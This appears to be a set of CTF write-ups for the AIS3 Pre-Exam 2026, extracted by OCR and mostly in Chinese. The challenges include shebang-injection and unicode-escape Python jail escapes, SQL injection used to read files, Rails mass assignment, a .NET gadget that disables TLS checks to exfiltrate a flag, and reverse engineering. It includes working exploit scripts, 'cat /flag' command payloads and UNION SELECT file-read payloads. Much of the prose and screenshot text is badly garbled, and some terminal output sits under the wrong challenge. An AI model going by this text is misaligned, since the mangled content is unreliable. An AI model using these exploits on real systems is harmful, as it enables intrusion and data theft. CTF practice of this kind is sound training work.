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PR ¥4 payload 47 base64 fiEHEEL block 5, & block & 50IE, #tARENHEIFAAHE %
67_1k_flag.webp,

fRRE TR

1. #T collect_qr.py, FHEMIENE QR, IKEFKEL%EEIM payload,

2. 1 payloads.txt H/) grss.netlify.app/#... RS, HUH block fRbe. fEBREL, FER AR/,
checksum Ei XOR % & ¥,

3. FJH] fountain-code / XOR {H L iZ A& FUR Ak block, .2 ¢ 50 B dt B 1% 2,

4. T AR A block (KT HFHE, i metadata BLELIEAURE RINE,

5. 1SRG AE FT 67_1k_flag.webp, FTBA# RN FI/ERE F T 7382 flag,

R TR

UMK ONEH Bif, Streaming QR B, LK collect_qgr.py Y4E payload M T2 i,
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[ 1 : Welcome £ H Hii

2. Streaming QR &



3. k£ Payload

® Windows PowerShell x + ~

Windows PowerShell )
Z{E# (C) Microsoft Corporation- RBEAEAR -

@ Streaming QR X

ais32026scanme.pwn2ooown.tech

I8 2 : FFHEEENT QR 4T

LHEEH A PowerShell DIHE M IHAEMLE LA | https://aka.ms/PSWindows

PS C:\Users\User\Downloads\as> collect_gr.py
FM I QR payload: E =i 60~120 # - & Ctrl+C &1k -
1 https://qrss.netlify.app/#AgAAACEAAAABAAAAJgAAAHVAAAB/HUmgjNMHMTgFv+E70QWtRNjtVhqdkFENbIDHbCdkwN3YTw8JiDyal3ir6eZvTEYK

SP
2 https://qrss

://qrss.
://qrss.

5 https://qrss.

ec

6 https://qrss.

t8

28 SEFS

.netlify.
netlify.
netlify.
netlify.

netlify.

app/#AgAAABEAAAAIAAAAIgAAAHVAAAB/HUmMgSOIJ2yCoIHFIZVEeurdRZ5HtRGjPXLUmfmAAhVTSZMuy5Rp5iVagaPUaDinn
app/#AgAAAAMAAAAL AAAAJgAAAHVAAAB/HUmgGUVoB8dMCyKHTY jwoGOZd TTIpy3Wt IfzLaeepCYQ+MIRFSDP1 L T9CUOIQVX
app/#AgAAABTAAAACAAAAIgAAAHVAAAB/HUmgr3ZBIZkZ6MrRYjYvANN/GuLXEMh8DZYOI0ohoPqtIWneCkIFDNcRcK6WtM+p

app/#AgAAABOAAAAVAAAAJgAAAHVAAAB/HUmgal01+ezdDANqwFX2BkcKNXDp/bT5RcBR6C5cAZORXjFF/B2vu3qPB/52901IG

app/#AgAAAAYAAAACAAAAJgAAAHVAAAB/HUnguBvr651BcSFvmoggN3hkUKufy9iZtOPL8eOJIksLXWTWMELNNcYYsvTFrIzFp

& 3 : #i7T collect_qr.py #1514 % QR payload

Flag: AIS3{Hello_LLM_welcome_to_pre_exam_2026'}



4 : RA&EHT welcome [/, JECHS E 4 flag

Jail
&AL misc / pyjail

B EHE

S8 MBS R R EZ BT FAEE— B Python, 1 &) {71 Ak e fE 05 F 5 i A T B2 2 )
shebang 41, H A MEIT, REGEFE 17 shebang 15 E, SRHHITHE ZRh e
IR shell fiffl, BEEESE _ATHOA cat flag, BEAREIE flag ELEEFHIZK,

EHBI%

o RENELLZ http://ichals1.ais3.0rg:10001/, JFAAHE H il B #4271 flag 1E /flag,
o FAFIE request.data IEH{LT%, BB payload HARREHEL ()_[I{}.@#.

o EATHITRERE ] shebang + d, 2 A1E shebang #%4ifi L#i4T,
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Jail
100

e 9 (64% liked) MRS
(PY)}-JAIL ? http://chals1.ais3.0rg:10001/

Flag

EarTrumpet: 94% - H#§ (BTHENUM)




== AIS3 Pre-Exam @ chalst.ais2.org: +

C A FZE  chalslais3.orgl... @ 2

#flag is at /flag

from flask import Flask,request,send file
import os,time,uuid,unicodedata

app = Flask(__name_ )

shebang = '#!/usr/local/bin/python3’

@app.route('/")
def index(): return send file(_ file )

@app.post(’/<uid>")
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC",
request.data.decode())
assert not any(i in d for i in "()_[]{}.@#")
open(f“data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", @0755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r

(1] mw

if _ name__ == " main__ ":
app.run("e.0.0.0",port=8000)

[E 2 : AR LGRS, shebang 412 A1 T

JRARRE RS

shebang = "#!/usr/local/bin/python3'’
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", ©0755)




os.popen(f"./data/{uid} > ./output/{uid}")
ERFE A RIS —1T SRR #)/usr/local/bin/python3<F Ml A >, L E R EAET
JC, FRAHAITIN cat flag MBS AT, BRAMEETEE —1TRZALM shell $UTE AT,

MAF X

o f#iJH application/octet-stream, #Esh Flask A% & ik # ¥ iE  request.data 422,
e payload % —E¥#H A 300 f# a, " shebang &k KM —1T,

o B ATHA catflag, K2 iAMEIHEETC, Ll lsdmE,

HF exploit 0T

$baseUrl = "http://chalsl.ais3.org:10001"

$uid = [guid]::NewGuid().ToString()

$payload = ("a" * 300) + "“ncat /flag n"

curl.exe -i -sS -H "Content-Type: application/octet-stream” --data-binary
"$payload” "$baseUrl/$uid"

Vel
BITHR R
BERIEEAR T E TR, [EEFT) #AIS3]..} Btk # EHEERARN ), BEILEZFRE

HFEHEAR AIS3{...} Af,

& Windows PowerShell x + -~

Wi PowerShell
= C) Microsoft Corporation- RE B A KA -

% i) PowerShell I3 Fi8 % 175 T & # 1k | https://aka.ms/PSWindows
PS C:\Users\User> ; [guid]: :NewGuid().ToString();

HTTP/1.1 200 OK

Server: gunicorn

Date: Sat, 23 May 2026 15:17:09 GHMT
Connection: keep-alive

Content-Type: text/html; charsetzutf-8
Content-Length: 88

#1/bin/true
HAIS3{SH3 BA_A_A_A A A AAAAAAAAAAARAARAAAMARAMAANGYL
PS C:\Users\User>

@ 3 : PowerShell 47 exploit if7[A]{# flag

¥ Flag

s



EEEERR OTERERAR TR, 1MAE Python B SfE AL, HIiY shebang BiLfif & i
AN EHEPHE, LM 1T R AR B, FERAUE shell $UTH —1THY cat /flag,
&R EhRE H flag,

Jail Revenge

5y¥E - misc / hard | BAE : /¥ Flask jail, @i ARSI EE /flag

1. EEEE

BA 4,15 % Jail Revenge, BA#ER [{RIIRAY jail T4 T, Beth B TIRAHIERTT |
foHIRES L, AR v LLE B 2 Flask FR=UsAAMS, 56 —1TaEMRAMESs ) flag A7
/flag,



== AIS3 Pre-Exam X —+

(¢ C [l % pre-exam.ais3.org/challenge.. @ |2 | @

E2[414 111 EABREH

Jail Revenge
100

misc  hard

&7 (87%liked) @1
PRIBERAY jail FHET > HWBE T IREVHEERER
http://chals1.ais3.org:10002/

Flag

1: B HHE R challenge URL

2. [RIpIEERA R

SRR R A0 T c 6 POST 2 /<uuid> #%, fAREFEHE uuid BEGATE, &
request body fit NFKC ITE#L, WEBRA EFIolE—ITRE, REEARTBA
data/<uuid> 3 LA TAE 5 BT,



== AIS3 Pre-Exam @ chals1.ais3.0rg:10002 @ view-sourceichals1.ais3.org:100 X

C [l & Ff%= view-sourcechalslais3or. @ | ® A 3 E

#flag is at /flag

from flask import Flask,request,send_file
import os,time,uuid,unicodedata

app = Flask(__name__)
shebang = '#!/usr/local/bin/python3"

@app.route('/")
def index(): return send_file(_ file_ )

@app.post('/<uid>")

def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[@]) < 50
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", @0755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}"”,"r").read()
return r

if __name__ == "_main__":
app.run("0.0.0.0",port=8000)

2 : view-source S8R Flask JR46HE

#flag is at /flag

shebang = '#!/usr/local/bin/python3"

@app.post('/<uid>")
def run(uid):
uuid.UuuID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[@]) < 50
open(f"data/{uid}", "w").write(shebang + d)
os.chmod(f"data/{uid}", ©0755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)



r = open(f"output/{uid}"”, "r").read()

return r
3. miRS T
P R
EIE S VAP i E A d SEEHEREE shebang % B A
f2, SR TR Python A%,
A BRG] Ao AU I literal 20T ¢ ()_[1{.@%#, {HiZH%

b SRR, SCFRE, ZEA, HATELG | R

BB AT R EE IR AT A ]

H—ATEGHAE #/usr/local/bin/python3 #%
i ; Python RFFERTHIITHE & source
encoding, K AILME encoding ‘B &5k E
shebang 17,

Python source encoding it

i/ coding:unicode-escape %, JFAAaHEH
B () ETEMATREBAERL .. (L ), HEBR{AIR
winE,

B

4. Payload §%X&t

JRAFEBITIZ os.system("cat /flag"), {H.. (. ) E#R4 BEERE, [KILSH unicode-

escape & :
os.system("cat /flag")

Hrp

.
(>
) ->)

EBLEE—1TRY encoding B, Fe#Eik ) payload % :

-Wignore coding:unicode-escape
import os
os.system("cat /flag")

5. Exploit 2

i Fil requests %18 B AR# 25H POST, URL 89 uuid 4/ Python uuid.uuid4() &4, 6

uuid.UUID(uid) #8204,

import requests
import uuid




u = str(uuid.uuid4())
url = f"http://chalsl.ais3.org:10002/{u}"

payload = br
import os
os.system("cat /flag")

-Wignore coding:unicode-escape

r = requests.post(url, data=payload)

print("UUID:", u)
print("STATUS:", r.status_code)
print("TEXT:")

print(r.text)

6. BNITHEER
BT HTTP status code % 200, [EHEARDE /flag s, =i kEhEus flag :
AIS3{D3MN_21P_PYDOC_A5 - -MA1IN-_-DO07_PY},

uid

u = str(uuid.uuid4())

payload = br''' -Wignore coding:unicode-escape
import os
os\x2esystem\x28"cat /flag"\x29

ts.post(url, data=payload)

, r.status_code)

PS C:\Users\User\AppData\Local\Programs\Microsoft VS Code> & C:\Users\User\AppData\Local\Microsoft\WindowsApps\python3.11.exe

UUID: 83bcd838-ecd@-4ed3-alc7-487d3306fefad
STATUS: 200

TEXT:

#!/bin/true
#AIS3{D3MN_21P_PYD@C_AS_-_-MAIN-_-_D@7_PY}

PS C:\Users\User\AppData\Local\Programs\Microsoft VS Code> I

3 : VS Code #&itgp St flag



7. ¥

AR DA — RS EA, i Python jail % source code @R 5e%, Al ARgsCia
BIFMATE, FASH Python LL unicode-escape encoding fi#tr, 4 iR AFEIN
escape sequence {EHUTIRRE R AE ILFORFIE, H%FIH os.system("cat /flag") 7& HE H

faEn flag fE 42,

MyGO!!!!! X Ave Mujica [ElE

8 AR A e ] AR R MyGO [E#, (HEIERYA AR LERE, (M2 /image?id="
& EREE A, MERERFSEIERE B R rotors TR ANZRIE ) BIA,  f[RISIE 5 AR By B 44l A

el H &, etk Wemoak sQL injection FEHEETEHE 2258 LAY exploit chain,

il i

=

Challenge MyGO!! 111 X Ave Mujica [& &

Category Web

Focus SQL injection, arbitrary file read, exposed .svn metadata

Flag AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8 and_| don't_have_ticke

t}

1. EE B
H RO T R SRR R - — R T THEs AR, T REBEIREA O, BN AH#
AILAE ] - B R, AT R R I Jimage?id=" S8 BB AR R/



= AIS3 Pre-Exam X +

£ C [J = pre-exam.ais3.org/challenges... @

W S2EASEY

W4 (100%liked) M8 O
REABHFEIEEEEMyGO BT » fRBRE

AL
author: ItisCaleb

http://chals.ai

Flag

1 : BH FERIEr [N IEIL ) B BRIREA [,



@ MyGOMI X Ave Mujica B8

chals1.ais3.0rg:48763

ERELOER

2 - BERIESE R, AL LFI AL imagePid=" AL A HI[EET] ],

SE A AR 1 4y B S R AR R B R [ AR - BiTEPEEEZE R robots.txt’, 1%E HIEE R E A&
PLid 28BN ER A, FEA BN AT LU E2EHE /image?id=" 35 I v Eh,

2. )%
(A IR robots R52. TIAA HH BRI TEMERAS, i lal T — (o] BE (g

H :.svn,

GET /robots.txt

.svn

B R ARG, RPTEE B8k RTEED 8L S Subversion working-copy #J metadata,
ANEERR A A svn BEAS AT UBEHEAFEL, 38 O LIRS RIFAG RS [R11E AT RE AR 2 il RE R A A — 356

AN
TJo



3. 3B EARL
T2 /image?id=, [EEET id SEEE A%, (EAEREERER EEE 500
error, WEEM)E, SQL JAK R ZEX SRR R % true 8¢ false A RIFEHITT 2.

GET /image?id=1 -> 200
GET /image?id=1 and 1=1 -> 200
GET /image?id=1 and 1=0 -> 500

GET /image?id=1 or 1=1 limit 1 offset 1 -> 200
EMER T id 2HE AR AE] SQL query H1, E offset BAAGIEIERFIN) row BF, FLAfEE
% query A E R T select HEAIRAE, SRR IR RIS ALEREAE R =G

2 Windows PowerShell x + ~

L EEHH PowerShell LUHISHTIHAEFI B INEE | https://aka.ms/PSWindows
PS C:\Users\User>

EZEHEL: F<HEATER

Invoke-WebRequest EZHMABEMNAE - BEPHIESHEEABIEEINERRHAT -
BEMETE:
f£F -UseBasicParsing fIBRLIBEATHESHEAHTAT -

TEEERE?
¥l 2(v) [A] ZEEHIT W) [L] 2FBR&EW [s] EF0) [7]1 HEA (BRESR "N

PS C:\Users\User>

PS C:\Users\User> (
) .StatusCode

200

PS C:\Users\User> (
) .StatusCode

Ps C:\Users\User>|

3 : K true / false (&M Jimage?id=", [o]/EZZ R SQL injection,



4. MR IGRRIATE
—H UNION SELECT %, I8 Fy b 8 nk T — B i 250 EUY primitive, 78
/app/app.py & T 5o 1% v

Payload:
@ union select '/app/app.py' --

Relevant backend code:
cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
return send_file(cur[0@])

B AT AR AR TRE R - R B TR ARES] T SQL query, T query &SP T
Flask H1 send_file() [EMEAIHE ZEEAE, B KL G AT RS S2IRIM R 2 7T RE,

2 Windows PowerShell x +

def allowed_file(filename):
return '.' in filename and filename.rsplit('."', 1)[1].lower() in ALLOWED_EXTENSIONS

app = Flask(__name__)
app.config[ 'UPLOAD_FOLDER'] = "images"
app.config[ 'MAX_CONTENT_LENGTH'] = 16 * 1024 * 102

gapp.get("/")
def root():
cur = db.execute(f"SELECT id FROM images;").fetchall()
ids = [row[@] for row in cur]
print(ids)
return render_template("index.html", items = ids)

@app.get("/robots.txt")
def robot():
return send_file("robots.txt")

@app.get("/image")

def image():
image_id = request.args.get("id")
cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
return send_file(cur[8])

@app.route(' fupload', methods=['POST'])

def upload():
if *file' not in request.files:
return jsonify({'error': 'no file'}), u@®

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'empty filename'}), 400

if not allowed_file(file.filename):
return jsonify({'error': 'file type not allowed'}), U8

filename = secure_filename(file.filename)

path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

file.save(path)

cur = db.execute(f"INSERT INTO images (path) VALUES (?) RETURNING id;", [(path)]1)
new_id = cur.fetchone()[8]

db. commit()

return jsonify({'id': new_id})

if __name__ == "__| —
app.run(debug=False)
Ps C:\Users\User>|

4 : FFHK Japp/app.py” G HEFE SQL FEHEEL send_file()® 4 5501 # 1,



5. EREFIA svn 7R
SeIe R ARk R DA E IR, (5 svn &R R A E1E, K% E%k# T working-copy
ERHE, B /app/.svn/wc.db % T LA B )R 44 repository ) metadata,

Payload:
@ union select '/app/.svn/wc.db' --

Interesting table in wc.db:
NODES(local_relpath, kind, checksum, ...)

& NODES table 41 T working copy HETA#GEHEAIRESS, Hh & —{E A ERE
A4« super_secret_starburst_flag114514.txt,

6. BX4F Flag
AR AR, kP RFEEBRER SQL injection primitive #1758 — kg ZEREEL,



» Windows PowerShell x +

Windows PowerShell i
EfE# (C) Microsoft Corporation  ffEEEFEF -

ZEEHE Powershell LIESHTTNEE M BEINEE | https://aka.ms/PSWindows

Ps C:\Users\User> (

).Content
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}
PS C:\Users\User> |

&y

5 : iZ1# "UNION SELECT" FEHISEH flag #4550l iR FFiR#% flag.,

Final payload:
@ union select '/app/super_secret_starburst_flagll4514.txt' --

Response:
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8 and_I don't_have_ticket}

7. RERRA S
SR B =55 B G R — R 7Ry exploit chain,

/image WY id 288 EHEFHEE saL query H,
o query [EIEI ARG IE BHE A send_file(), %A (] allowlist Bgiz5,
o IMEBERBEJICLE .svn metadata, A BIAFIERIS A HGE HERE 2,



v — 8 R ACHR B R, (BRI CAS Rk TEERE S, .svn metadata 2
BRI R LR,

8. #B¥5

FEHIA A RE IR AR TE 2] robots.txt AT~ HERRIE A imBinl A, [EIfE R m i, IREF
MFAIFR primitive [E11E 546158 metadata, EE| flag 4 78, 2% flag #E 2R E
7T,

FEHY robots.txt M {EE .svn B,

PRI /image?id= 3% boolean 17232 SQL injection,

fit /i UNION SELECT & HX /app/app.py.

0145 /app/.svn/wc.db i #% & NODES table,

A A

FEHY /app/super_secret_starburst_flag114514.txt Hi 1% flag,

Mass Rapid Transit

Web — Mass Rapid Transit

ROESEAY © Mass Assignment (L&A (E )






EE &R

ISR Mass Rapid Transit

PaE. | Web

pay 3 427

R baby

FRRENE 44

p =Mk sl Mass Assignment (JttEft{E)

Flag AIS3{R41ls_4P1_M4ss_4sslgnm3nt_2_AIS_4dmin}

BB : AIS $#E5EAT] (AIS Transit Corporation) B &R EEE LR, #ollkg L it A,

M4t : http://chalsl.ais3.0rg:10003/



Mass Rapid Transit
427

web

B L - Bl s i

1 CTFF&&EHEE

fEREBTE
Step1: BFBAERER
BRGNS, & —(ERHEEEEAFE 7 G, DIt KMaE ., g, K, A5,

Biz2 HTML JFUbHS, 35514 csrf-token, authenticity token 4%, #E78/2& Ruby on Rails &
AR,



ATSHEDE - ALS TRANSIT CORPORATION

m AIS HEATE

AISHEEAT
W3 W AR

EEEe WEEEEE
o a a
wan ana Rwam
BHLE ERE
AR LI IR O AL R R vl

& 2 AlS {E# N FI B A

Step 2 : I /admin LG4
ERAFIL fadmin, MBISEHE [ EEEE AR AR WEE S, K% admin BATEE 1
SEEEEH B ),

[FIRFAE Network 73 H A LB 22 BIREVEROGE Ko, MRS Ie iR R Rails B,



- o
c ¢ 3 Q e A OB LO0B209
AlIs F@AE ; : C ) "

AISIEENT
SRR R

m e

EUIES DL LU s T

[REAN) 518 502503 EMRWA R

equests | 317 kB /329 317 kB / 444 kB resources | Finish: 880 ms | DOMC

/& 3 $8hE B + Deviools Network 73 B
Step 3 : MRS EREIFTE
MR EIESES B A, A /profile (AR E) Him, 8%
AZfE A Rails 18 P user[xxx] 4 ¥

7

K HTML, #HprAR

user[username]
user[email]

user[full name]
user[phone]
user[favorite station]
user[password]

MR5ES7 B8 badge Thk% ) , JEHItRimA 8 role MRALZEHRIRER,

@x |l %




& BAESEEE — ASEEAT X  +

< C 0 a % chalslais3.0rg:10003.. Q (2| @ A SOE L O3 KB

" 3 S » #adopted-style-sheets

AIS TRANSIT s B A * B <1DOCTYPE html
m CORPORATION | ) ; -

AIS EEAT) =i 2 g ) <html lan

2 _ » <head
.., v <body> (L
div.container 513.42 x 841 <a href="#main-content" class="skip-link">BKkEFERE</a>
» <div class="top-bar /divy>

58 - " Sy
» <header class="site-header" role="banner">(>"</header>

1@)\“@%}5%&% ¥ <main 11.1: malnfcontentl >
_ N ction class="section">

111 il.cc R&

v<div class="container" style="max-width:8@@px">

» <nav class="breadcrumb" aria-label="breadcrumb

( flex )
RS2 1 P <div class="row-split" style="margin-bottom:var(--sp-4)">
alll
form-card">
v<form data-turbo="false" action="/profile" accept-
LR charset="UTF-8" met ost">

<input type="hidden"
alll@gmail.com autocomplete="off">
<input type="hidden" name="authenticity token"
& ngWereReD-dhyg9G4dfWwCN-07450LErKEy IKulJREMmOr

. -LQkp2yncV_GyJPNtmNmqlZfa60wGA" autocomplete="of
S » <div class="field-r > ¢/div> (grid)

» <div class="field">
BEAEEE
<!doctype>

Styles Computed Layout EventListeners DOM Breakpoints >>

Y Filter (*) :hov .cls g
BN

&4 - A NEEE T + Deviools Elements 77 &

Step 4 : Mass Assignment K EZ {2 1
Rails FUKS BRI — Mass Assignment : 413 controller %4 [Efffl ] strong_parameters [
il AT RCRTHIARAL, SO T DMERE R T ZE BN R, BB SRR 3 R AL

ZEiE 2 28 DevTools (F12 — Elements) , 1E profile 228 F&hidi A —EF2 ML



<input type="hidden" name="user[role]" value="admin">

HE RIS ) R HR,

Step 5 : IS EHESH#IR

HEHE R, badge ft Mig%) #pk MEEER) , HWHIHHR VMEHEEKR) KH,

Step 6 : X Flag
H#EA Jadmin BEE R, BHEBNEERERR RHEBL KDesEmEt) o TR0 TR

nE (REHE) |

[RER] RFEE BTG BT ek
ARUCRIRIERZ ST, MRS PRI
AIS3{R411s_4P1_M4ss_4sslgnm3nt_2_AIS_4dmln}

MR, TERIEMAETE K,



AIS{EJE/AT] - AIS TRANSIT CORPORATION

AIS TRANSIT
CORPORATION
AIS EEAT

B ERN

RN #EA

Q 2l e A

2079

REGISTERED ACCOUNTS

93

ADMINISTRATORS

766

OPEN LOST ITEMS

814

TOTAL LOST RECORDS

[GCEDRE N E e

ERAFEZEMINT » EHHIEEEREF

AIS3{R411s_4P1 MAss 4sslgnm3nt_2_ AIS 4dmln}

BN  MERAEE—R -

RITIREIRSE

2026/05/08 16:40

REMREHA : 0800-123-456 [

6] 5 ;S YT + Flag

~ [0
» #adopted-style-sheets

<html lang="zh-Hant">

) (scronl

<a href="#main-content"

class="skip-link">KkEFERA
"top-bar"

» <header clas te-header”

role="banner )</header

» <main id="main-content">(

P <footer class="site-footer"
role="contentinfo"> >
</foot
<div id

IS_TOOLTIP" style=
"position: absolute; or:
pointer; index: 2147483647;
background: transparent; top:
-100000px; left: -100000px;
</div>

<div id="trend_notification_a
pp" class="trend notification ¥
htm| | body

Styles  Computed Layout 2>
Y Filter (® thov «cts +, € [@ 4

{

¥

body {
margin: » @;
font-family: var(--f-body);
font-size: 16px;
line-height: 1.6;
color: var(--ink-1);
background: » Myvar(--bg);
min-height: 1@edvh;
display: flex
flex-direction:

mrt.css:74

column;

mrt.css:72

box-sizing: border-box;

] FLAG




AIS3{R411ls_4P1_M4ss_4ssignm3nt_2_AIS_4dmiln}




pHEbagiy

IR . Mass Assignment  (fit&fil(&)

R : Rails controller 7E 5 & &R, %A M permit [Rii role iz, HEKEE /LI
it HTTP GsRIEREE L A SRy A,

s :
£ controller ##i ] strong parameters, 0.3 [ 4 BEARNL

def user_params
params.require(:user).permit(

:username,
:email,
:full name,
:phone,
:favorite_station,
:password

)

end

BEEHERE

ﬂ S A IE

E #EHL /profile & ¥A# H user[xxx] 4 #LH
O 1R ¥ A user[role]=admin FEjEAAL

Of EHRHE, bR E A
E ¢ /admin %1, HifS Flag

Give Me Flag

B E A - Web



#H 4% : Give Me Flag
By M + RN, RSN L
fiist - ASCRBOME A CTRd token

—. EBEBR

B EJEIE B E#A B 2 CTRd access token 37 instance, #E A instance %, B ifi SRk ]
FHa A —{# IPv4 5% IPv6 frhk,

RIEE H HmmER I, IREE SEiEGL 1P 1Y 443 port &7 HTTPS @R, SR7%4 flag LL POST
()5 s 21 E collector name, SERFEE A MDA B BEEHE E HE flag BURHIZKE, 1248
PR IR flag DEBIFAM AT IR E,

—. HEEHN

LUF ZiRE B 5 IR EWR = th b e, (#5HA Word, A EY), A NRERL,



“= AIS3 Pre-Exam X @ Give MeFlag iew-source:chals1.ais Grok

< C [ % pre-exam.ais3.org/challenges#Gi.. 2 | @ A

Give Me Flag
496

web

w1 (100% liked) ¥BO
Free flag for you XDD

http://chals1.a

Author: Chumy

*dist—give—me—ﬂas—lz..

Flag




= AIS3 Pre-Exam & Give MeFlag X @ view-sourcexchals1.ais {4 Grok

C [l & FZ= chalslais3.0rg:30000 @ |2 | @ A

Give Me Flag

Create New Instance

2 : #57 instance B E



== AIS3 Pre-Exam & Drop-GiveMeFlag X @ view-sourceichalst.ais {J Grok

< (@, [ & F%= chalslais3.org313.. % @ 2

GiveMeFlag Drop Support

OUTBOUND FLAG DELIVERY

Give me flag

Submit an IPv4 or IPv6 address. The service will open an HTTPS
connection to port 443 at that address and POST the flag to the
configured collector name.

Collector IP

3 : #Hi A token #ERIAY instance HH

=, Bt

MR SRR WT LR R, EHEEH IP &, %@t flag 2] https://<{8 /& A/
IP>:443/api/flag, 1B Host & #ix &Rk E EHY flag-dropbox.givemeflag.internal,



EREMEBAME O 443 port 287 — 1l HTTPS AR%S, an%: TLS Beis it T IRaE4 1, il
1 B B BRI

74%, /Support HiaA G gk B Preview SRl AR AR theme#typeName,
Z %R Type.GetType(...) f@Etr i1, FE22#a Activator.Createlnstancel(...) 82914,

3B — B RER R AT ARk H airRe =S RY INET A5 4% FR B e B g fa il FH B #i,  Fr AR 5 1 gk
ek flag, ks ER—{EE AR NET gadget,

0, JRIRF A ER

% IR gadget &
Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility,

Microsoft.Office.Server.Search.Connector.,

B A A B R M A — Ak 7, 1T 'ERY static constructor, &
Activator.Createlnstance(...) & 7 LRI, NET € J5#4T static constructor,

1E static constructor f, E&#! ServicePointManager.ServerCertificateValidationCallback

i —1# ValidateCertificates callback, TiAR{# callback & & HA1{E true,

ERE A, RRERR AR SR A HTTPS st & 252 AR sl r) e, TMutae M A 2y
H % HTTPS collector ##% flag.

Preview payload :

x#Microsoft.O0ffice.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility,
Microsoft.Office.Server.Search.Connector

i, BRAIAHS R

o S B C.#Y CTFd token &7 — & #H9 instance,

A /Support, =t EifEiF preview payload, % ExchangeSystemUTtility ) static
constructor 7EfAI ARk &R T2 HEU T,



o £ H O AP B % 0E 2R 1P _E28—{E HTTPS listener, BE5H# 443 port, if#%4k /api/flag 19
POST,

o [B1E & HAY Collector IP #iifiz, HAHCHIWE IP,

o B TLS Bis g Aty e sk s, & umst & B =) flag POST 2IF&4MAY listener,
PR BBk flag B 5=, RAEARMIEL—{8 HTTPS capture server BB 443, %40
JSON body 244K,

N BAGRER
WIS AT, flag frETHEHHIRTE ISON 7 -

{"flag":"AIS3{c_5h4rp_con57ruc70r_p0llu710n_86611lel4c2364d21a948eelebdb5a0fa}","chall
enge":"GiveMeFlag","sent_at":"2026-05-17T04:25:56.4577455+00:00"}

etk 22 flag :
AIS3{c_5h4rp_cOn57ruc70r_p0l1lu710n_86611el4c2364d21a948eedebdb5a0fa}

RAEWACEREE :



Windows PowerShell

: LOADK 332 ; custom=04 rai
: LOADK 4 33
TAILCALL © 5 0
RETURN eee
: RETURN e1e

== main.5 key=9 nups=3 params=1 stack=14
consts: [65.0, 1.8, 'string', 'byte', 5.8, 256.0, 7.0, 13.0, 3.0, 229.0]
00: GETUPVAL custom=09 raw=0x0000007a
CALL custom=28 rai x0080805e
GETUPVAL custom=09 ra: x00800084
custom=28 rai x00808080
custom=04 raw=0x000000eb
custom=22 rat x00000128
custom=22 raw=0x0100015f
custom=27 raw=0x02014643
custom=10 x80004021
custom=05 x0000013F
custom=30 x0100011b
custom=04 x0000u4110
custom=22 x01000171
custom=04 x0000U41b2
: ; custom=32 raw=0x8008c121
GETGLOBAL 8 ; custom=11 x0000821b
GETTABLE 8 ; custom=12 x0UUOCc22f
: MOVE ; custom=02 x00000270
; custom=02 x038002bF
custom=28 x01808210
custom=15 x03c10250
; custom=01 raw=0x0U80c26f
; custom=22 x008002af
; custom=18 x0U82825a
; custom=01 x0Ucou25a
; custom=12 x0082U266
GETUPVAL 10 ; custom=09 x010002bc
ADD 11 custom=01 x0U01c2c5
: ADD 11 ; custom=01 raw=0x0580c2d6
MOD 11 ; custom=18 x05c142fy
MUL 12 ; custom=15 x03c1833e
: ADD 9 12 ; custom=01 x04830301
MOD 3 x06414301
CALL = x018082be
GETUPVAL ; custom=09 x010002e4
: MOVE ; custom=02 raw=0x0480033e
MOVE ; custom=02
CALL ; custom=28
: MOD ; custom=18
ADD ; custom=01
MOD ; custom=18
GETTABLE 7 ; custom=12
EQ ; custom=27
JMp ; custom=10
LOADBOOL ; custom=05
: RETURN ; custom=30
ADD ; custom=01
ADD ; custom=01
; custom=15
; custom=01 raw=0x058302d3
; custom=18 x05c1UBcf
; custom=31 x7f£68133
; custom=27 raw=0x01c24e64
; custom=10 x80000004
LOADBOOL 4 ; custom=05 x0000411c
: LOADBOOL 4 ; custom=05 x0080012d
RETURN 4 ; custom=30 x01000125
RETURN e ; custom=30 x00800014

1
1
P
b
3
4
5
1
e
4
4
y
5
6
4

flag: AIS3{Lul_Opc@d3_Shufflling_ls_Fun}
PS C:\Users\User\Downloads\dist--cff0288£3335939UUc6777a326fU0ac62c8951b3> |

PEN-

BERAEINEW flag B9 PowerShell EH - [REAHIEA -

B, M

i8R DA & SSRE A&, Ti& /Support H & HEH TR E G, BEIERFFBTER 2]
—{E&7E static constructor &A@ EAARY NET 251, #Em5Y: TLS Biss, Stk i flag
| [ A HTTPS collector,



tetris

Reverse B2#HEEIE | tetris B2 Lua opcode shuffle

EIFHEHA 2026-05-17
NBEEE tetris, luac opcode shuffle
1. tetris
Sk Reverse
EES tetris
8 S % fitg ELF dpfEsdss, HAmhkm, RC4 figss
Flag AIS3{T3trls_P4tt3rn_M4st3r!}
1.1 #5HER

%%y 64-bit ELF, statically linked H.&. strip, ST A LS ImEIR AL G381, (B5-54
B RSN EAEIEBONV S TR T — BCER) i B,

WAIERE R ST rodata BL el e U - RN —HHLE R 4x 10 kR gk, WRERL—ER T4
Bl RC4 fHAFHY K 2R HRE 3,
1.2 BRTE

Fe e fl A E e m A — 8 FNV-like hash, T2 hash #¢ LCG JEBA Ak 24-byte key, #5:#% LA
RCA i R SC, bR, FIETREMEAARIEREDT, M2 E & &,

board(4x10) -> FNV-like hash -> 24-byte key
ciphertext --RC4(key)--> plaintext flag



1.3 fRRBHEER

HiE keygen Bt RC4 %A AIELHASE] flag, EMAURRGIEES, B0 [FREilEse] YR EReF,
BB LA R ER R R E,

AIS3{T3trls_P4tt3rn_M4st3r!}



